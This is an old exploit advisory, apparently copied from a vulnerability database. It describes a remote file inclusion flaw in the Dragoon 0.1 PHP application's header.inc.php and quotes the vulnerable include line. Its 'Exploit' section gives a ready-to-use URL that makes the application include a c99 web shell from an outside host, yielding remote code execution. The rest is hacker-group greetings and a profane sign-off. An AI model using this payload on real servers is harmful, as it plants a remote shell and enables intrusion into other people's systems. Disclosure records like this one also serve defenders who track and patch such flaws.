Dragoon 0.1 (root) Remote File Inclusion Vulnerability

🗓️ 08 Apr 2008 00:00:00Reported by RootType

Dragoon 0.1 remote file inclusion vulnerability found in header.inc.php file, allowing remote code execution


                                                -==========================================[&nbsp;ViVa&nbsp;YeMeN&nbsp;]====================================-

#&nbsp;Name&nbsp;:&nbsp;Dragoon&nbsp;0.1&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Vulnerabilitiy

#&nbsp;Download&nbsp;From&nbsp;:&nbsp;http://sourceforge.net/project/showfiles.php?group_id=118780

#&nbsp;Found&nbsp;By&nbsp;:&nbsp;RoMaNcYxHaCkEr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[RoMaNTiC-TeaM]&nbsp;&nbsp;(&nbsp;BlackxHat&nbsp;,&nbsp;BlackBox&nbsp;,&nbsp;aLwHEeD&nbsp;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

#&nbsp;Home&nbsp;Page&nbsp;:&nbsp;&nbsp;WwW.4RxH.CoM&nbsp;&nbsp;&nbsp;

+======================================================================================================================+

#&nbsp;Vulne&nbsp;Code&nbsp;In&nbsp;File&nbsp;header.inc.php&nbsp;In&nbsp;Line&nbsp;23&nbsp;:

@include($root.'config.php')){

#&nbsp;Exploit&nbsp;:

http://WwW.4RxH.CoM/PHP/includes/header.inc.php?root=http://rxh.freehostia.com/shells/c99in.txt?

That,s&nbsp;It,s

Good&nbsp;Luck&nbsp;Everybody

+=======================================================================================================================+

#&nbsp;Greet&nbsp;To&nbsp;:

Tryag&nbsp;TeaM&nbsp;&amp;&nbsp;All&nbsp;Members&nbsp;Of&nbsp;My&nbsp;Forum

#&nbsp;For&nbsp;Contact&nbsp;:&nbsp;[email protected]

#&nbsp;Fuck&nbsp;Own&nbsp;Life&nbsp;&nbsp;:(&nbsp;

-==========================================[&nbsp;ViVa&nbsp;YeMeN&nbsp;]====================================-

08 Apr 2008 00:00Current

7.1High risk

Vulners AI Score7.1